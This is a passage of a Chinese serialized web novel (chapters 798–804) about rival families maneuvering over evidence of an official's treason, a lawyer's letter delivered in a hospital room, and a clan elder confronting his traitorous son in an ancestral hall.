关鹤不满,围着周宴珩的病床大喊大叫。 关楼此刻眼里没有半点温情,只有杀气,举着武器一边喘气一边追。 乔金锦生怕闹出什么麻烦,跟在关楼身边劝阻。 唯有周宴珩,事不关己,一门心思看书。 绕了十几圈,关楼年纪大了,实在扛不住了,拄着钢筋有气进没气出,“你……过来,看……看我不……不打死你!” 关鹤离得远远的,摆摆手,“我不!” “伯父,喝口水。” 乔金锦转身给关楼倒了杯热水,不着痕迹地换下他手里的钢筋。 关楼平复了许久才喘上气,指着关鹤大骂,“你个逆子!我让你去病房给余笙表达善意,你呢?!你去做什么了?” 关鹤不服,“我什么都没做!” “还敢撒谎!什么都没做!什么都没做现在苏家告你谋杀?!” 关鹤愣了愣,怒火一下被拱起来了,“苏灼脑子有病吧,他把老子打成这样还告老子谋杀,老子告他还差不多!” 乔金锦见父子俩左一句右一句没一句对上,温声劝道,“伯父,这其中可能是有什么误会,要不我先去苏家问问?” 关楼痛心疾首地摇摇头,颤抖着手指着关鹤,“还有什么误会?苏韵的头都被这蠢货打开花了!关鹤啊,你到底是个什么物种啊?不是说喜欢苏家小姐吗,现在还把人家姐姐的头打破,这亲你还结不结?” “爱结不结!”关鹤也上头了,一个字都没听进去。 乔金锦闻言一愣,一把拉住关楼,“伯父,您刚刚说阿鹤要跟谁结亲?” 关楼,“别提了,他把苏韵打成这样,苏妙还能看上他?” 关鹤立马反应过来,一副活见鬼的样子,“什么玩意儿?老头子你疯了?苏妙长得跟不开智的侏儒似的,我能看上她?!” 乔金锦笑了笑,默默将手里的钢筋棍递了回去,“伯父,棍棒底下出孝子,请。” …… 第799章 律师函 关鹤一愣,吓得脸色由青转白,顾不上形象,抱头鼠窜:“乔金锦!你他妈脑子被门挤了?他真的会打死我的!哎哟——!” 关楼眼见有机可乘,气沉丹田,抄起那根闪着寒光的钢棍,一个箭步就堵了上去。 乔金锦优雅从容地退到墙角的真皮沙发边,好整以暇地坐下,事不关己开始看戏。 原本弥漫着消毒水味的VIP病房,瞬间被这出全武行彻底点燃。 关楼到底是年纪上来了,围着那张冰冷的金属病床转了十几圈后,感觉老腰都快断了。他猛地停下脚步,突然改变策略,反向包抄! 关鹤没料到老头子来了个回马枪,眼皮猛地一跳,再想撤身后退已然不及! “砰——” 一声闷响,钢棍结结实实砸在了关鹤的右肩胛上,关鹤疼得倒吸一口凉气,怒火也彻底被点燃了,“老头儿!你来真的啊!想废了我是不是?!” 关楼也没想到这一下打得这么实在,心里又急又气,但嘴上却更凶了:“废了也好!省得你整天出去惹是生非!你说你,连我这把老骨头的棍子都躲不过!你还能干点什么?!” “我……”关鹤捂着肩膀,疼得话都说不利索,正要不管不顾地顶回去—— “叩叩——” 就在这时,有人敲门走了进来。 “呀,大家都在啊,我说怎么这么热闹。” 沈眠枝的声音不大,却像带着某种奇特的魔力,瞬间穿透了房间里的嘈杂和混乱。 一时间,屋里的人仿佛被按下了暂停键。抡着棍子的关楼、疼得龇牙咧嘴的关鹤、甚至沙发上看戏的乔金锦,都不约而同地愣了愣。 沈眠枝却像是毫无所察,笑吟吟地拎着食盒径直走向周宴珩,“阿珩哥,今天好些了吗?” 周宴珩合上书,淡淡看了她一眼,眸光噙着几分说不清道不明的笑意,“好多了。” “那就好。”沈眠枝也跟着笑了笑,随即十分有礼貌地朝关楼点了点头,“关伯伯好。” 关楼毕竟是有身份的人,清咳了一声,准备整理衣襟,发现手里还拿着钢棍,立马把棍子丢到一边,摆出一副温和长辈的模样,“好。” 上次沈让来医院,见所有人把沈眠枝当佣人使唤,气得差点把病房都掀了。因为这事,关鹤对沈眠枝更没什么好脸色,冷笑道,“你怎么又来了?一天天的,尽给阿珩找事。” 关楼额角抽搐,回头狠狠瞪了关鹤一眼。 “……”关鹤因为挨了一棍,心气不顺,梗着脖子,“怎么?我说句话都不行?” “你……” 没等关楼开口,沈眠枝细声细语地说道,“我是来给你送东西的。” “给我送东西?”关鹤一脸惊悚,转头看向周宴珩。 周宴珩忽然有了兴趣,目光在两人之间徘徊。 关鹤顿时警铃大作,“你该不会是知道阿珩看不上你,所以想对我下……” “……”沈眠枝竭力维持脸上的微笑,从包里拿出一封信函递给他。 “什么?”关鹤一脸狐疑,“情书?” 沈眠枝,“律师函。” 听见这三个字,关鹤脸上的表情仿佛出现了一个巨大的黑洞。 律师函是什么东西? 好小众的词。 沈眠枝知道关鹤的脑容量不够,转头看向关楼,“关伯伯,苏家控告关鹤谋杀以及杀人未遂两项罪状,目前警署厅已经受理。这是受害者委任律师发来的律师函。” 什么玩意儿?! 关鹤仿佛听到了天大的笑话,一把抢过沈眠枝手里的信函,极其粗鲁地撕开信封。看见最后的署名时,他气得脸色都绿了。 “实习律师姜花衫?靠!”关鹤拿着手里的律师函对着沈眠枝丢去,“姜花衫是不是脑子有病啊?怎么哪都有她?” “阿鹤!” 关楼比所有人都清楚这个得罪沈家的利害关系,连忙把关鹤推开,温声安抚沈眠枝,“丫头,你别跟这臭小子一般见识,我回头教训他。只是,这律师函是什么意思?” 沈眠枝瞥了关鹤一眼,淡淡收回目光,笑容无害地回道,“关伯伯不知道吗?阿鹤哥差点杀了苏韵,苏韵已经委任了衫衫做她的代理律师。衫衫知道我会来医院,想着应该会碰见阿鹤哥,所以才拜托我转交律师函。” “我……”关鹤气得想给自己掐人中。 阴谋! 这是一个针对他的巨大阴谋! 听着沈眠枝轻声细语的解释,周宴珩眸光微沉,神色严峻。 如果这个时候关鹤被立案,关家手里的证据就会变成关家的催命符。只要稍稍引导舆论,民众一定会相信关、余两家沆瀣一气,相互包庇。 背后下棋的人,这是在逼关楼立刻做决定。 周宴珩转眸看向一旁的关楼。他能想明白的事,关楼自然也看得清楚。 此刻,关楼面上虽然不显,但内心已然愤懑到了极点。 以他现在的地位,就算是周家要与他同谋也得客客气气,‘这个人’倒好,直接掐着他的脖子走! 明棋将军,乍一看的确像沈家那位的棋路,但如此霸道不讲情面又与那位脾气完全不符。当初沈庄打脸周家,虽然手段雷霆,但面上还是客客气气,哪像这般? 关楼沉默半晌,亲自蹲下身捡起地上的律师函,情绪不显半分,“老爷子教导有方,家中小辈人才辈出,替我向他老人家问好。” “爸!”关鹤不服气,人家都骑到他们脖子上了,老头子还问好? 关楼转过身,将律师函狠狠拍到关鹤胸口,咬牙切齿,“给我滚。” 关鹤脸色微变。 他混吝了这么多年还活着,最大的原因是他了解关楼。就像刚才,关楼拿着棍棒打他,看似盛怒,其实不过是在做戏。他把苏韵打成那样,总要给苏家一个交代。 但现在不同,关鹤明显察觉到关楼的气场都变了,他不敢再造次,低着头向周宴珩求助。 而周宴珩不知什么时候收回了目光,又翻开了他的《君主论》。 …… 第800章 连点成势 菊园。 绣楼窗边的阳光正好,秋天的月季迎着微光在枝头摇曳。 “所以,关楼现在就要做决定了?他会怎么做?召开记者会支持余笙吗?” 傅绥尔躺在按摩椅里,拍了拍脸上的珍珠面膜,露出一双好奇的葡萄眼。 姜花衫闭目养神,厚敷的珍珠粉上还盖了两片黄瓜,她一脸悠哉,摆了摆手,“关楼为人谨慎,以他的性子一定不会甘愿做唯一一只出头鸟。他啊!应该是去找苏家老爷子了。” “嗯?”傅绥尔眼底微亮,忽然想到什么,盘腿坐了起来,“所以你故意让枝枝给关鹤送律师函,就是为了让关楼和苏家顺理成章搭上线?” 姜花衫笑了笑,嘴角牵动硬化的面膜立马收敛。 “没错~现在余笙可是烫手山芋,关鹤要是真跟谋杀余笙的事有半点牵扯,A国民众的唾沫星子都能淹死他。所以,我要是关楼,一定会想尽办法‘取信’苏家,让他们撤诉。” “至于方法吗?” 傅绥尔笑了笑,心有灵犀,“余斯文真正卖国的证据。” 关家不愿意当唯一一只出头鸟,最好的方法,就是将手里的证据送出去。只要关楼以那份证据向苏家坦白,就一定能洗清‘关鹤’谋杀余笙的嫌疑。 但最妙的是,如此鲸港就有两个家族知道内情了,关家和苏家之间相互掣肘,为了不被对方抓住把柄,两家都不敢藏私,未来必会拧成一股绳对付余斯文。 棋局上,这就是‘点’连成了‘势’,关苏两家就算在不情愿,现在也只能乖乖入局。 傅绥尔越想越觉得这局棋走得妙,看向姜花衫的眼神带着星光,“可是,这也太凑巧!还是得感谢关鹤啊~” “不。”姜花衫坐起身,取下眼皮上两片薄薄的黄瓜皮,见傅绥尔略有困惑,她展颜轻笑,一双桃花眼美得不可方物,“要谢的不是关鹤,是苏韵。” 她早就猜到,关家反应过来之后一定会去找余笙试探情况,所以在昨晚离开之前她曾悄悄叮嘱苏韵,如果关鹤出现在病房,务必让他脱不了身。 原本姜花衫并没有把握苏韵会配合,直到她接到了苏韵的委任电话。 所谓的委任电话,其实也不过是她和苏韵之间秘而不宣的暗号,苏韵不仅信任她,还极其出色完成了这项任务。 不愧是原书的另外一个女主,比她想象得更聪明。 傅绥尔不由多看了姜花衫一眼,欲言又止。 姜花衫了然,“你是不是想问,我是怎么知道真正账户得信息的?” 这事,说起来也算孽缘。 上一世,余笙为了把余斯文拉下马,在国际新闻报纸上刊登了十个境外私密账户,那些账户记录着余斯文卖国获利的所有罪证。 一时间国际舆论哗然,刊载罪证的报纸一夜售罄。 姜花衫没有沈归灵过目不忘的本事,之所以现在还记得,还是要多亏了周宴珩。 那家伙看到账目信息后,第一时间想的不是讨伐卖国贼,而是密谋在账户被冻结之前把那些赃款都卷走。为此周宴珩调动了庞大的资源,几乎把那几个账户里里外外扒了个遍。 不过A国政府的反应速度更快,周宴珩费尽千辛万苦只卷走了其中一个账户的钱,而那个账户最后被他拿来炫耀当作礼物送给了她。 换作普通人大概会感动得哭了,毕竟是多到数不清的钱。但姜花衫没有,她气得直接单方面宣布跟周宴珩绝交! 盗窃卖国赃款,这种事要是被抓住,牢底都要坐穿,周宴珩摆明了想拉她下水。 时也运也,谁能想到,当初提心吊胆避之不及的烫手山芋,竟会成为这一世解开余斯文卖国剧目的关键点。 从她在意识到剧目已经到了余笙的转折点,立马利用上一世的账号,找到了另外九个关联账号,并在周宴珩目睹她和沈眠枝密谋后,转手就给关鹤准备了一份大礼。 不是她有多聪明才对周宴珩的手段预判得如此准确,实在是上一世经验条累积得太高了。 傅绥尔想了想,摇了摇头。 她知道姜花衫身上有秘密,她也知道她不说一定有不说的道理。她担心的是,别人会不会因此发现姜花衫的与众不同,而给她带来麻烦。 深思熟虑后,傅绥尔装作无事躺了回去,点着自己的鼻子,“我给你的,我还能不知道?” 姜花衫愣了愣,绷直的嘴角不由弯起了弧度。 * 苏宅。 茶室里安静得针落可闻。 苏敬琉和苏莘脸色晦暗不明,关楼神情淡然地端着茶盏,一方茶台上摆着两张信纸,一张是余笙的求救信,还有一张是真正的账户信息。 片刻后,苏敬琉率先打破沉静,拿起桌上两张纸仔细端详,“关先生的意思是,余斯文卖国求荣的证据在你手里?” 关楼低头抿了一口温茶,处变不惊,“我也是几经查访才找到了这些东西。原本是心疼余笙的遭遇,想让阿鹤代我去医院瞧瞧,不知怎么,令千金竟然误会阿鹤要杀余笙,您看这事闹得?” 苏敬琉掀眸看了关楼一眼,脸色不虞,“误会?我家丫头脑袋缝了七针,要不是阿灼及时赶到,人差点都没了,关先生一句误会就完了?” “阿鹤行为无状我已经教训过了,人也已经带来了,要打要罚老爷子您说得算。只不过,杀人未遂这样的罪名……”他顿了顿,意有所指,“还请老爷子高抬贵手。” 苏敬琉和苏莘神色微闪,相互看了一眼。 关楼站起身,微微前倾身体,姿态放低:“苏小姐如此维护余笙,也是不忍她被父冤枉成为真凶的替罪羊,小辈能有如此大义,离不开两位长者的教导。” “我今天来……”他话锋微转,目光扫过苏敬琉手里信笺,神色从容,“就是想给两位表个态,关家愿与苏家同道彻查此事,将卖国贼余斯文及其背后势力连根拔起,以正视听!” “……”苏敬琉气得嘴角抽了抽。 到底是哪个王八蛋把这坨屎引到苏家门前来的? …… 第801章 宗祠前问父 苏宅主楼西侧的卧室窗台后,苏韵静静地立着。 她额上缠着的洁白纱布在透窗而入的日光下格外显眼,目光越过庭院中精心修剪的花木,落在主厅门前那一片空旷的青石地上。 关鹤正直挺挺地跪着,秋日的阳光将他的影子拉得细长,透着几分罕见的狼狈和孤零零的萧索。 苏韵冷冷扯了扯嘴角,像他们这种视人命如草芥的恶棍怎么会真的忏悔?不过是做戏罢了。 “叩叩——” 忽然,门外响起了敲门声。 苏灼,“阿韵,是我。” 苏韵当即收敛了眼里的冷漠,深吸了一口气,转身上前开门。 “阿灼哥。” 苏灼的目光在苏韵头上停留了片刻,语气温和,“头还疼吗?要是不舒服不要硬撑。” “我很好。”苏韵不知道怎么回应如此直白的关心,避开苏灼的眼睛摇了摇头,又刻意补充了一句,“阿灼哥,谢谢你。” 她当时并没有考虑自己,只想着尽可能的激怒关鹤,因为只有这样才能抓住关鹤的死穴。可苏灼的反应让她震惊的同时还有些不知所措。 在她的印象中,苏灼对谁都是彬彬有礼,可当时,他愤怒到差点失手杀了关鹤。 她从未被人如此偏袒过,这种感觉让她忐忑又害怕。 苏灼看出她的不自在,轻叹了一声,“没事就好,你放心,这件事关家没这么容易交代。” 苏韵眸光微闪,抬眸看了苏灼一眼又低下了头。 * 另一边。 沈庄带着一行人在正午之前抵达了襄英。 到了老宅,老爷子先去祭拜了武太奶,随后又移步至沈氏祠堂。 家族祠堂庄严肃穆,长明灯跳跃着微弱的光芒,映照着层层叠叠、密密麻麻的祖宗牌位。沈庄屏退了随从,独自一人静跪。这一跪,便是整整三个小时。 期间无人敢近前打扰。只有老宅的管家悄无声息地进来更换过一次快要燃尽的香烛,看见老爷子如同石化般的背影,又悄无声息地退了出去,轻轻掩上门。 此时,老宅第一重院落里已是黑压压地聚集了一众沈家族人。他们早已从各位族老口中听闻了老爷子欲另立宗祠的惊人打算,此刻几乎人人坐立难安,焦灼、惶恐的目光齐齐投向那扇紧闭的祠堂大门,空气凝重得仿佛能拧出水来。 沈航作为家族叛徒,被用粗糙的麻绳死死捆缚了双手双脚,头下脚上地倒悬在宗祠那高大沉重的石质牌坊之下。他脸色因血液倒涌而涨得通红发紫,额角青筋暴起,喉咙里发出困兽般的呜咽,挣扎间,绳索深深勒进皮肉,模样狼狈凄惨至极。 “你们干什么?!” 一声低沉却极具威势的暴喝骤然在压抑的人群中炸响,惊得众人一颤。 只见沈钧拄着那根光润的紫檀木拐杖,由几个年轻晚辈小心翼翼地搀扶着,颤颤巍巍却又步伐坚定地穿过人群。他虽年迈,此刻却自有一股积威多年的气势。 这些年,沈钧一直代远在鲸港的沈庄行使族长之责,德高望重。众人见他面沉如水,隐含怒意,纷纷下意识地垂首避让,自动分出一条通路。 “嗯嗯嗯——!”被破布堵着嘴的沈航看到沈钧,挣扎得更加剧烈,那双充血的眼睛死死盯着他,眼神复杂到了极点——有绝望,有一丝极细微的求救,或许还有难以言喻的怨愤。 “谁准许你们动用私刑的?赶紧把人放下来!”沈钧声音沉痛,带着不容置疑的命令。 等了足足一分钟,却没有人上前解绑。沈钧轻叹了一声,扔下拐杖,亲自去搬木梯。 众人见状,连忙阻止。 “伯公,您别激动啊,小心身子!” “伯公,您先冷静,沈航叛族,您这个时候可不能替他出头啊!” “滚!”沈钧咬牙,拼尽全身力气一把推开身边劝阻的人。几个懂事的孩子连忙上前替沈钧扶住木梯,他们不懂利益取舍,只知道要听族长爷爷的话。 沈钧颤颤巍巍爬上木梯,粗糙的手掌一截一截攀爬,动作僵滞得如同年久失修的木偶。 好不容易解下沈航嘴里的封条,沈钧正准备开口,沈航竟一口狠狠咬住了他的手! 沈钧愣了愣,塌陷的眼里清晰倒映出沈航那双恨他入骨的眼睛。他的儿子死死咬着他的食指,喉间不断发出呼呼的喘气声,这声音让他想到了小时候伯父带他上山时初见的狼崽子。 鲜血沿着沈航的嘴角倒流,眨眼功夫,血水如断线的珠帘垂直落下。 众人见状立马慌了神,反应快的当即拿起一根木棒对着沈航重重劈了过去,“快松口!” 沈航闷哼了一声,却紧紧咬着牙关,目光泣血,死盯着沈钧。 沈让见情况不妙,赶紧爬上木梯,一把掐住沈航的下巴,“松口!” 相较于众人的慌乱,沈钧显得格外平静,仿佛沈航咬的不是他的手。 “沈航,松口。”就在这时,人群里响起另一道威严不容抗拒的命令。 沈航脸色微变,目光慢慢转向大门。他张口的同时,沈让下了狠手,那只血肉模糊的手指从牙关中滑落了出来。 见状,围观的众人赶紧把两人分开。 沈庄大步上前,看着地上的血水,脸色冷沉至极,“谁让你们动私刑的?” 几个主事的人相互看了看,也不说是谁的主意,硬着头皮讨好道:“老爷子,沈航为了个人利益出卖我们整个家族,这种人留不得,我们也不过是按族规处理。” 族规? 司法之下谈什么族规?这是要越过国法谈家法? A国日新月异,这些人却还守着旧制不思进取,难怪小花儿说他们是一群老古董。 沈家要延续百年荣耀,沈航这样的叛徒不可怕,可怕的是这些被时代腐朽的残渣。 沈庄皱眉,转眸看向说话的人。那人被沈庄的目光震慑,吓得不敢抬头。 沈庄摆摆手,“把他放下来。” 之前沈钧使唤不动的人,沈庄一声令下,所有人跟上了发条似的争前恐后冲上前。 沈航见状,忽然疯笑起来,阴森森看着沈钧,“你看到了吗?你为这些人谋划五十年,他们还不是谁给肉吃就听谁的!” “你为了这些人,舍弃你的亲生骨肉,血缘至亲!哈哈哈哈哈哈!!!” 沈航的笑声含着血泪,悬挂的绳索在空中摇来荡去。 …… 第802章 少年,沈知礼 “祖伯爷爷,伤口已经处理好了,您记得这几天千万不要沾水,不然伤口感染就麻烦了。” 说话的是一个年约十四岁的少年,他不知从哪儿弄来的草药,给沈钧敷在伤患处,血一下就止住了。 沈庄有些不放心,“要不,我让孟医生再来瞧瞧?” 少年转头打量沈庄,心直口快,“族爷爷这是不相信我?” 沈庄微愣,到他如今的年纪和地位,鲜少有人敢这么跟他说话。不过少年眉宇间并无恶意,看向他的眼神也只有疑惑。 是故,沈庄并未计较,好脾气解释,“不是不信任,你祖伯爷爷年纪大了,万一……” 少年又道,“没有万一,不会有万一。族爷爷说万一就是不信任,既然不信任为什么不直接说,反而要遮掩。” 沈庄神色凝重,不觉把孩子的话听进去了。 “好了,阿礼。”沈钧一脸头疼地拍了拍少年的肩膀,笑着向沈庄解释,“这孩子是六房知字辈的孩子,他啊,从小就是个医痴,族里那些医书别人当天书,他却如有神助,只要有人质疑他的医术,阎王爷来了都不求饶。” 沈知礼闻言笑了起来,“族伯爷爷说对了,这世界上我最不怕的就是阎王爷。” 沈庄听了觉得有趣,追问,“为什么不怕阎王爷啊?” 沈知礼抬起下巴,意气风发,“我行医就是为了跟阎王爷抢人,怕他还怎么抢?” 沈庄极喜欢这样的孩子,有这样的春芽才会让他觉得自己老去也是一种幸事。 他点点头,极有风度地认错,“看不出你小小年纪还有这样的志向,族爷爷为刚才质疑你的事道歉。” 沈知礼知道沈庄身份贵重,没想到这样的人物竟然会给他一个小孩儿道歉,顿时心生好感,张口道:“族爷爷,我的医术可神了,不管您身体有什么毛病,我都能号出来。要不,我给您把把脉?” 沈钧闻言顿时头大,轻斥,“没规矩,怎么说话的。” 沈庄身份贵重,家族里配有专门的医务人员定时做身体检测,除了出于安全考虑,最大的原因就是防止他突然意外给沈家带来重创。 前不久武太奶去世,沈庄就已经做过身体检测,各项数据都显示正常。 但老爷子不忍心打击一个孩子的积极性,配合着伸出手,“行啊,小神医给我看看。” 沈知礼被这句“小神医”哄得嘴角微翘,搬来竹椅。他伸出三根手指搭在沈庄手腕寸关尺上,小小的脸庞上浮现出一种与年龄不符的专注与郑重。 “脉象平稳有力,虽不及年轻人那般蓬勃,却也沉实和缓,显是根基深厚、保养得宜之象。” 沈庄和沈钧相视一笑。 不过片刻,沈知礼微微上扬的嘴角慢慢抿直了,眉头几不可察地蹙起。他稍稍调整了一下指压,更加专注地探寻。 不过好像这个角度也不行,沈知礼翻过沈庄的手掌,细细看了看掌心的手纹,又闭上眼反着方向号脉。也不知是不是午间暑气重,少年额角甚至微微渗出了细汗。 “爸!” 就在这时,沈谦、沈渊、沈让一行人走进了堂屋。 “嘘!”沈庄示意他们安静。 沈谦三人一愣,这才发现一个小孩儿正在给老爷子号脉。三人虽然看不太明白,但还是安静找了个椅子入座。 良久,沈知礼缓缓收回手,睁开了眼睛。先前的那点意气风发消失无踪,少年老成的脸上带着明显的困惑和一丝不易察觉的……羞愧。 沈钧见他久久不语,以为是出了岔子,笑着打圆场,“你这孩子,摸不出毛病就是好事,难不成你还不高兴了。” 沈知礼抬起头,看向沈钧。 他不是摸不出,是好像摸到了什么。 那平稳和缓的脉象之下,似乎潜藏着一丝极其微弱的…滞涩感?就像是奔流的大河深处,有一缕几乎无法察觉的暗漩,时隐时现,难以捕捉。 可当他将所有心神都凝聚在指尖,试图再次捕捉时,那感觉再也没有出现。 按理说,族爷爷这个年纪多多少少都会有些毛病,可脉象平稳得……近乎完美,这反而让他心里生出一种说不清道不明的怪异感。 看出沈知礼的反常,沈庄温声询问,“怎么了?是不是哪里不好?你放心说,族爷爷可不是讳疾忌医的老古董。” 沈知礼犹豫片刻,小声道:“我感觉好像有一点点……一点点说不上的奇怪,但又摸不到了。” 沈渊没忍住笑道,“怎么现在望闻问切都用感觉了?爸,小孩子的话你还当真?” 沈知礼耳根微微泛红,有些不敢看沈庄,“对不起族爷爷,大概……是我学艺还不精,号得不准。” 沈庄回头瞪了沈渊一眼,又笑着拍了拍沈知礼的肩膀,“号得不准可以再练,只要别忘了你行医的仁德之心就好了。族爷爷随时等你,等你什么时候能号准了,再试试。” 沈知礼重重点头,赶忙收拾药箱,眼神真挚,“族爷爷,说好了,您千万等我。” 沈渊皱眉,“你这孩子,说的老爷子明天就不在了似的。” 沈庄眼皮抽动,轻轻拍了拍沈知礼的肩膀,“好。你先回去吧。” 沈知礼点头,又细细叮嘱了沈钧用药事宜才出了堂屋。 待人一走,沈庄转身,面无表情看着沈渊。沈渊只觉头皮发麻,硬生生挤出一个尴尬而不失礼貌的微笑,“我突然想起来,我还有事,等会再过来。” 说完,也不管众人什么脸色,转身跑出了堂屋。 待沈渊走后,沈谦站起身,目光带了沈钧一眼,“爸,沈航怎么处置?” 这时,沈钧站起身,“你们聊,我先回避。” 说罢,他微微颔首,抱着包纱布的手拄着拐杖,步履略显沉重地出了堂屋。 * 午后的阳光透过雕花木窗,在冰凉的石板地上投下斑驳的光影。 老宅处处透着岁月的沉淀,也积压着太多不足为外人道的沉重往事。 沈钧走到自己的屋前,推开那扇吱呀作响的木门,屋内有些昏暗,带着老房子特有的阴凉潮气。他习惯性地走向窗边,想推开窗户透透气,也让阳光驱散些许屋内的沉闷。 然而,他的手刚碰到窗棂,动作便猛地顿住了。 只见窗外,沈庄正负手而立,静静地站在他的窗前。他忽然就想起,当年也是有个少年,总爱躲在他的窗下,他们以蝉鸣为信,逃学打架,肆意妄为,不知天地为何物…… …… 第803章 山崩地裂为后继者开路 欲买桂花同载酒,终不似,少年游。 沈钧望着窗外那个负手而立的身影,怔愣了许久。时光仿佛在这一刻重叠交错。他转过身,蹒跚着折回门口,苍老褶皱的手掌微微颤抖,抵着那扇斑驳褪色的木门,轻轻向内一推。 “进来吧。” 数十年前的正午,他又像当年一样邀请那个少年。 * 午后的光影斜斜落在门槛上,陈旧的木床、褪色的窗纸、那张角落里的八仙桌……时光在这里仿佛凝固了。 沈庄的目光在屋子里缓缓逡巡,带着几分难以言喻的感慨:“你这屋子,还跟几十年前一模一样。” “旧咯,”沈钧笑着摇了摇头,“可每一样都沾着旧日的气息,舍不得丢。” 他说着,颤巍巍地走向床边,熟练地从床头一个隐蔽的暗匣里,取出了一个锈迹斑斑的铁盒。盒盖上色彩剥落,几乎看不出原本鲜艳的图案。 “坐。”沈钧指着房间角落那张擦拭得干干净净的八仙桌,自己拿着铁盒,慢悠悠地走过去,“你愿意来就好,我还怕……没有机会,亲自把这些东西交到你手里。” “说的什么话。”沈庄眉头立刻拧紧了,带着不赞同的神色瞪了沈钧一眼,却还是伸手,郑重地接过了他手里的铁盒。 冰凉的触感从指尖传来,瞬间撞开了记忆的闸门。 沈庄记得这个铁盒。 那年,父亲从遥远的S国回来,给族里每个孩子都带了礼物,其中就有一盒包装极其精美的异国糖果。他好东西见惯了,从来没有把这些礼物放在心上,见沈钧盯着五颜六色的铁盒出神,顺手就把到手的自己糖果盒偷偷塞进了沈钧打满补丁的‘书包’里。 予者无心,受者却因此坠入了深渊。 直到几天后,他在族学堂里听人窃窃私语,说四房那个沉默寡言的堂兄因为偷东西,被打得半死,已经很久没来上学了。 他随口问:“偷了什么?” “一盒族长从国外带回来的糖果,宝贝得很呢!” 七岁的沈庄当时就炸了,学也不上,一口气冲进了四房阴冷的老宅。 那年寒冬腊月,他穿着簇新的锦裘,外面还罩着武太奶硬给他加上的厚斗篷。而沈钧,只穿着一件磨得发亮的薄单衣,直挺挺地跪在结着冰碴的石板井边。 屋檐下,一个打扮富态的女人抱着个三四岁大的男孩,正拿着一颗彩色的糖果逗弄孩子,另一只手却指着沈钧尖声咒骂。那盒引起祸端的糖果,就敞开着放在她手边的石凳上。 他怒不可遏,想也没想就冲过去,一把抢回那盒糖,对着女人大声道:“东西是我送给他的!你!必须给他道歉!” 女人忌惮他长房的身份,却并不把一个七岁孩子的话放在眼里,一口咬定他是为了包庇沈钧而撒谎,并以“处理家事”为由,客气却强硬地将他“请”出了院门。 就在院门合上的瞬间,里面又传来了棍棒落在皮肉上的闷响和女人的斥骂:“别以为攀上长房翅膀就硬了!在这个家,还是老娘说了算!” 他又急又怒,顶着刺骨的寒风,一口气跑了三里多地,找到了正在处理族务的父亲和兄长。很快,大房所有的男丁都被他惊动,一行人浩浩荡荡地重返四房。 那继母见状,立刻抱着幼子哭倒在地,撒泼卖惨,但最终,沈钧的生父惧怕长房权势,压着女人上门赔罪。沈庄执意要他们给沈钧本人道歉,却被自己的父亲拦下了。 在那个时代,父向子道歉,是为“大不孝”,父亲说,沈钧年幼,拗不过这沉重的旧俗。 沈父的智慧远不止于此。此后,他时常将沈钧接到大房小住,如同教导自己儿子一般,亲自教他读书明理,处世为人。四房因忌惮这层关系,从以往的苛待渐渐变为小心翼翼的讨好。即便后来大房势微,沈钧也已凭自身从沈父那里学来的本事,稳稳地立住了脚跟。 他们缘起于糖果,如今沈钧将铁盒重新交还给他,宿命的圆环也闭合了。 沈钧眼角微微湿润,似乎也陷入了同样的回忆之中。 他指着铁盒,声音低沉而清晰:“这里面,是沈家十三房近年来的详细情况。哪些人手不干净,哪些人存着什么毛病,我都一一记下了,清清楚楚。你是家主,是赏是罚,是去是留,全由你做主。” 沈庄摩挲着冰凉的铁盒,心中情绪翻涌,复杂难言。 沈钧在这老宅里,替他守了一辈子,终于将这份沉甸甸的家底彻底理清。 可这其中的代价…… “不止是我,”沈钧仿佛看透了他的思绪,眼神温和,脸上并无一丝悔意,“这里面,也有太奶奶费尽心血查证补充的。还有……” 他的手指轻轻敲了敲铁盒的夹层,“那张单独放开的红色信笺,你一定要仔细看。上面记着的,都是如阿礼那般的好苗子,是咱们沈家未来的希望。我老了,走不出这老宅了,没法带他们去看外面的广阔天地。这些孩子,就全都托付给你了。” 当年,沈父广施恩泽,接济族中困顿却有志的子弟,赋予他们挣脱命运枷锁的力量与新生。如今,沈钧是将这份曾经照耀在他身上的光,毫无保留地折射了出去,也算了解了沈父的恩情。 沈庄深知自己手中捧着的,是家族未来百年的根基与筹码。他深吸一口气,郑重至极地点头承诺:“我以生命起誓,必带他们走出老宅,不负所托。” 沈钧了解沈庄的为人,对此毫不怀疑。积压一生的重担终于得以交付,他长长地、舒缓地吁出了一口气,肩背似乎都松弛了几分。 “还有一件……”他忽然顿住。 “是关于阿航?”沈庄了然。 毕竟是亲生骨肉,血脉相连,岂能轻易割舍?他看着手中的铁盒,沉默片刻,语气缓和下来,“阿航此次并未铸成无可挽回的大错,或许……” “初棠。”沈钧抬起头,浑浊的老眼里,清晰地倒映出方才沈航死死咬住他手指时,“他不知错。” 沈钧心头痛极,神思却异常清明:“你顾念我,愿意网开一面。可他不知错,不知错便不会改。饶过他这一次,难保没有下一次。家族的孩子们需要安稳的环境才能茁壮成长。你是族长,这个道理,你比我更明白。不必……不必再为我破例。” 沈庄沉默不语,他所虑的,也正是于此。家族的隐患,不可妇人之仁。 沈钧轻轻叹了口气,不再多言。他起身再次走到床边,从枕头底下摸索出另一封厚厚的、封得严严实实的信封,递了过来。 “子不教,父之过。到了这一步,他定然不愿再见我。这封信,”沈钧的声音带着一丝不易察觉的颤抖,“劳你帮我转交给他。” 沈庄亦是为人父者,此刻最能体会沈钧心中的沉痛与无奈,他伸出手,正准备接过那封仿佛重逾千钧的信。 忽然,沈钧枯瘦的手一把拉住了他,在他手背上轻轻拍了两下。 那动作里,有嘱托,有不舍,有难以言尽的千言万语,最终只化作一句,“去吧。我就在这里,等你。” …… 第804章 旧人故去,恩情无恙 沈庄从沈钧的屋里出来后,盯着四房宅院微微有些晃神。天地好似被这一方矩尺圈在了人们的眼界里,压抑得让人喘不过气。 “爸。” 沈谦和沈让还在堂屋等着沈庄,见他神色落寞,赶忙从屋里迎了出来。 沈让急切地问道:“爸,伯父怎么说?” 刚才沈钧避让,沈庄跟去,两人一定是在谈论如何处置沈航。 沈庄想到沈钧的嘱托,脸色愈发沉重,“沈航呢?” 沈让回道:“他跟疯了一样,死不认错,还说我们没有处置他的权利,他要报警抓我们!说我们沈家是非法集权势力。” 沈庄皱了皱眉,低头看着手里沉甸甸的信封,“带我去看看。” “是。” 沈让正要领路,沈庄忽然脚步顿住,像是意识到什么,浑身剧烈地颤抖起来。 他和沈钧都受教于同一个男人——他的父亲,沈拂。 “子不教父之过,为父者当为山,若为顺境则托举扶持,若为逆境,山崩地裂为后继者开路。” 所以,他的父亲才会明知死路也一往直前。那沈钧呢? 